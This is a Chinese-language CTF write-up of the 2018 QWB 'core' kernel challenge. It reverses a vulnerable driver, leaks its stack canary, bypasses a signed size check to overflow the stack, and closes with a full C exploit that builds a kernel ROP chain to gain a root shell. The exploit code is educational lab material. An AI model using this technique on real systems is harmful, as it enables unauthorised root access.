# 2018 强网杯 core,作为 kernel 学习开始的记录,栈溢出,ret2rop

# 前置 zhishi

# 1. 题目环境

题目保护环境有两类,一类可执行文件的保护机制,一类是文件系统驱动内核的保护机制

dreamcat@ubuntu:~/Desktop/kernel/2018qwb_core/give_to_player$ checksec core.ko
[*] '/home/dreamcat/Desktop/kernel/2018qwb_core/give_to_player/core.ko'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x0)
    
 start.sh:       
    qemu-system-x86_64 \
-m 128M \
-kernel ./bzImage \
-initrd  ./rootfs.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s  \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic  \
~

可以看到这里开启了 kaslr 保护。

# 2.

# canary

core.ko 开启了 canary,我们需要泄露他,进而构造 rop

# kaslr

kaslr 类似与用户 pwn 的 aslr 或者 pie,一种地址偏移技术。如果我们可以获取 vmlinux_base 就可以绕过这个,执行其他函数。

获取方式:head /proc/kallsyms 1,startup 对应的地址就是基址

img

# core_base

驱动加载地址,查看方式

cat /proc/modules
cat /proc/devices
cat /proc/kallsyms
lsmod
dmesg
/ # lsmod
core 16384 0 - Live 0xffffffffc02aa000 (O)

# 题目分析

core.ko 就是我们需要利用的漏洞驱动

# #core_ioctl

__int64 __fastcall core_ioctl(__int64 fd, int idx, __int64 user_buf)//fd是设备对应的文件描述符
{
  switch ( idx )
  {
    case 0x6677889B:
      core_read(user_buf);
      break;
    case 0x6677889C:
      printk(&unk_2CD);
      off = user_buf;
      break;
    case 0x6677889A:
      printk(&unk_2B3);
      core_copy_func(user_buf);
      break;
  }
  return 0LL;
}

根据我们的传参实现三种功能, case 0x6677889C: 实现我们控制 off 全局变量

# core_read

unsigned __int64 __fastcall core_read(__int64 a1)
{
  char *v2; // rdi
  __int64 i; // rcx
  unsigned __int64 result; // rax
  char buf[64]; // [rsp+0h] [rbp-50h] BYREF
  unsigned __int64 canary; // [rsp+40h] [rbp-10h]
  canary = __readgsqword(0x28u);
  printk(&unk_25B);
  printk(&unk_275);
  v2 = buf;
  for ( i = 16LL; i; --i )
  {
    *(_DWORD *)v2 = 0;
    v2 += 4;
  }
  strcpy(buf, "Welcome to the QWB CTF challenge.\n");
  result = copy_to_user(a1, &buf[off], 64LL);   // 栈任意地址读
  if ( !result )
    return __readgsqword(0x28u) ^ canary;
  __asm { swapgs }
  return result;
}

控制 off 后,我们就可一计算 buf 与 canary 的编译,然后通过 copy_to_user 将 canary 泄露出来。

# core_copy_func

__int64 __fastcall core_copy_func(__int64 size)
{
  __int64 result; // rax
  _QWORD v2[10]; // [rsp+0h] [rbp-50h] BYREF
  v2[8] = __readgsqword(0x28u);
  printk(&unk_215);
  if ( size > 63 )
  {
    printk(&unk_2A1);
    result = 0xFFFFFFFFLL;
  }
  else
  {
    result = 0LL;
    qmemcpy(v2, &name, (unsigned __int16)size);
  }
  return result;
}

传入负数就可以绕过检查,然后实现对 v2 的溢出。

# core_write

__int64 __fastcall core_write(__int64 a1, __int64 _buf, unsigned __int64 size)
{
  printk(&unk_215);
  if ( a3 <= 0x800 && !copy_from_user(&name, _buf, size) )
    return (unsigned int)size;
  printk(&unk_230);
  return 4294967282LL;
}

将数据写入内核全局变量 name 中。

1、通过 /tmp/kallsyms 文件获得 commit_creds 函数与 prepare_kernel_cred 函数地址,并计算出所需 gadget 地址。2、对全局变量 off 赋值 0x40,通过 core_read 函数获得 canary 的值。3、构建好 ropchain,使用 core_write 函数将 ropchain 复制到内核态中 4、通过 core_copy_func 函数中的数值溢出造成的栈溢出漏洞,将 ropchain 放入栈中,退出函数时完成提权并返回用户态 getrootshell。

# 漏洞利用

kernel rop 相较于用户态 rop 的不同点吧。在用户态中我们的目的是为了获得 shell,也就是令程序执行诸如 system ("/bin/sh") 一类的函数,然而到了 kernel pwn 中我们的目的从原先的 getshell 变成了提权,也就是执行 commit_creds (prepare_kernel_cred (0)) 函数,并且执行完提权函数以后我们需要从内核态返回到用户态执行 system ("/bin/sh") 获取 root 权限的 shell 才可以,所以在我看来 kernel rop 变得无非就是两步:执行提权函数,返回用户态获取 rootshell。从内核态返回用户态所需要用到的 swapgs 指令与 iretq 指令,前者是在从用户态进入内核态时,通过交换 IA32_KERNEL_GS_BASE 与 IA32_GS_BASE 值,从而得到 kernel 数据结构块,而从内核态变回用户态时需要将原先用户态的信息再交换回来。iretq 指令则用来恢复用户态的 cs、ss、rsp、rip、rflags 的信息。其具体布局如下所示:

+-----------+			-----lower
|    RIP    |
+-----------+
|    CS     |
+-----------+
|   rflags  |
+-----------+
|    RSP    |
+-----------+
|    SS     |			-----higher
+-----------+

在计算内核 gadget 地址的时候我们使用 ropper 得到的 gadget 地址需要加上 offset 才是真实地址,这个和用户态的一样很好理解,而这个 offset 的获取办法,因为程序将函数地址导入到了 /tmp/kallsyms 中,我们我们可以 cat 出函数的真实地址,然后减去函数的 textoffset,就得到了 vmlinux_base. 而刚才所说的 offset 就是 vmlinux_base 减去 raw_vmlinux_base,即 0xffffffff81000000 的值。这题我们可以直接获取 start_up64

dreamcat@ubuntu:~/Desktop/kernel/2018qwb_core/give_to_player$ checksec vmlinux
[*] '/home/dreamcat/Desktop/kernel/2018qwb_core/give_to_player/vmlinux'
    Arch:     amd64-64-little
    Version:  4.15.8
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      No PIE (0xffffffff81000000)
    RWX:      Has RWX segments

# 获取 vmlinux_base

打开 /tmp/kallsyms,获得 commit_creds 函数与 prepare_kernel_cred 函数地址,并计算出 gadget 的地址。

int GetAddress() {
 char *ptr;									//stroull 的结束符号
 char buf[0x30] = {0};
 FILE* fd = fopen("/tmp/kallsyms","r");			//打开文件
 
 if (!fd) {
  puts("[-] ERROR.");
  return 0;
 }
 
 while(fgets(buf, sizeof(buf), fd)) {			//文件数据会进入缓存,然后再呗拷贝到buf,所以,buf会更新。
  if (commit_creds && prepare_kernel_cred){
   printf("[+] Find: commit_creds: 0x%llx\n[+] Find: prepare_kernel_cred: 0x%llx\n", commit_creds, prepare_kernel_cred);
   return 1;
  }
 
  if (strstr(buf, "commit_creds")) {			//string.h库的字符串比较函数,返回字串的位置指针
   commit_creds = strtoull(buf, ptr, 16);		//找到了地址,将地址转为unsigned long long 
  }
  if (strstr(buf, "prepare_kernel_cred")) {
   prepare_kernel_cred = strtoull(buf, ptr, 16);
  }
 
 }
 
 return 0;
}

/*实例
/ # cat /tmp/kallsyms | grep commit_creds
ffffffffba29c8e0 T commit_creds
/ # 
*/

#返回用户态的准备,我们最终要返回用户太执行 system ('/bin/sh'),从你内核太返回的时候,iretq 会恢复某些寄存器的值。所以我们需要提前保存这些值。

void SaveStatus() {
 __asm__(
  "mov user_cs, cs;"
  "mov user_ss, ss;"
  "mov user_sp, rsp;"
  "pushf;"						// 所有的 16 位标志寄存器入栈
  "pop user_rflags;"
 );
}

这里才用汇编内联,将数据保存到全局变量中 user_cs, user_ss, user_sp,

core.ko 一个外设,但是再 linux 中,万物皆文件,所以只需要访问 /proc/core。

但是如何实现用户访问与内核的转换的呢?ioctl 函数提供响应的接口。设备对应的是 core_ioctl 函数。

首先我们要泄露 canary,通过分析,我们得知,buf 与 canary 的偏移量是 0x40,core_read 函数会把 buf 拷贝到我们的 user_buf 中。

ioctl(fd, CORE_OFF, 0x40);			//read canary to buf on kernel stack
 ioctl(fd, 0x6677889B, user_buf); //canary in buf.copy it to user_buf that we can control.

下面我们就要构造 rop, 首先填充 v2 的八字节以及 canary,然后就是布置 gadget。说明一点,commit_creds (prepare_kernel_cred (0))是在内核态执行的,只有在返回用户态的时候(也就是我们执行完了提权,才需要布置额外的寄存器的数据)

int i=8;
 char rop[0x100] = {0};
 rop[i++] = canary;
 rop[i++] = 0;					// 覆盖 rbp
 rop[i++] = pop_rdi;			//rip 
 rop[i++] = 0;					//rdi=0
 rop[i++] = prepare_kernel_cred;	// 执行 prepare_kernel_cred
 rop[i++] = pop_rdx;				
 rop[i++] = commit_creds;
 rop[i++] = mov_rdi_rax;			// 将 prepare_kernel_cred 的返回值作为 commit_creds 的参数。mov_rdi_rax,jmp rdx.
 //swapgs --> iretq: rip, cs, rflags, rsp, ss. GetShell
 rop[i++] = swapgs;					//gadget 是 swapgs ;popfq;ret,
 rop[i++] = 0;
 rop[i++] = iretq;					
 rop[i++] = (size_t)GetShell;
 rop[i++] = user_cs;
 rop[i++] = user_rflags;
 rop[i++] = user_sp;
 rop[i++] = user_ss;

# 完整的 exp

#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
 
#define CORE_READ 0x6677889B
#define CORE_OFF 0x6677889C
#define CORE_COPY 0x6677889A
 
size_t vmlinux_base, commit_creds, prepare_kernel_cred;
size_t user_cs, user_ss, user_sp, user_rflags;
size_t raw_vmlinux_base = 0xffffffff81000000;
 
int GetAddress() {
 char *ptr;
 char buf[0x30] = {0};
 FILE* fd = fopen("/tmp/kallsyms","r");
 
 if (!fd) {
  puts("[-] ERROR.");
  return 0;
 }
 
 while(fgets(buf, sizeof(buf), fd)) {
  if (commit_creds && prepare_kernel_cred){
   printf("[+] Find: commit_creds: 0x%llx\n[+] Find: prepare_kernel_cred: 0x%llx\n", commit_creds, prepare_kernel_cred);
   return 1;
  }
 
  if (strstr(buf, "commit_creds")) {
   commit_creds = strtoull(buf, ptr, 16);
  }
  if (strstr(buf, "prepare_kernel_cred")) {
   prepare_kernel_cred = strtoull(buf, ptr, 16);
  }
 
 }
 
 return 0;
}
 
void SaveStatus() {
 __asm__(
  "mov user_cs, cs;"
  "mov user_ss, ss;"
  "mov user_sp, rsp;"
  "pushf;"
  "pop user_rflags;"
 );
}
 
void GetShell() {
 if (!getuid()) {
  system("/bin/sh");
 }
 else {
  puts("[-] CAN NOT GETSHELL.");
  exit(1);
 }
}
 
void main() {
 size_t rop[0x100];
 char user_buf[0x40] = {0};
 char* ptr;
 int i = 8;
 
 SaveStatus();
 GetAddress();
 vmlinux_base = commit_creds - 0x9c8e0;
 size_t offset = vmlinux_base - raw_vmlinux_base;
 size_t pop_rdi = 0xffffffff81679ba8 + offset;
 size_t pop_rdx = 0xffffffff810a0f49 + offset;
 size_t mov_rdi_rax = 0xffffffff8106a6d2 + offset; // mov rdi, rax; jmp rdx;
 size_t swapgs = 0xffffffff81a012da + offset;  // swapgs; popfq; ret;
 size_t iretq = 0xffffffff81050ac2 + offset;   // iretq; ret;
 
 int fd = open("/proc/core", 2);
 
 if (!fd) {
  puts("[-] OPEN /proc/core ERROR.");
  exit(0);
 }
 
 
 ioctl(fd, CORE_OFF, 0x40);															
 ioctl(fd, 0x6677889B, user_buf); //canary in buf.
 size_t canary = ((size_t*)user_buf)[0];
 printf("[+] Find canary: 0x%llx\n", canary);
 
 //commit_creads(prepare_kernel_cred(0));
 rop[i++] = canary;
 rop[i++] = 0;
 rop[i++] = pop_rdi;
 rop[i++] = 0;
 rop[i++] = prepare_kernel_cred;
 rop[i++] = pop_rdx;
 rop[i++] = commit_creds;
 rop[i++] = mov_rdi_rax;
 //swapgs --> iretq: rip, cs, rflags, rsp, ss. GetShell
 rop[i++] = swapgs;
 rop[i++] = 0;
 rop[i++] = iretq;
 rop[i++] = (size_t)GetShell;
 rop[i++] = user_cs;
 rop[i++] = user_rflags;
 rop[i++] = user_sp;
 rop[i++] = user_ss;
 
 write(fd, rop, sizeof(rop));
    ioctl(fd, CORE_COPY, 0xffffffffffff0000|0x100);
    // 传入一个负数,因为会被转为 16 位(2bytes)无符号数,最后的调用为 qmemcpy (v2, &name, 0x100);
}

# 如何上穿 exp。?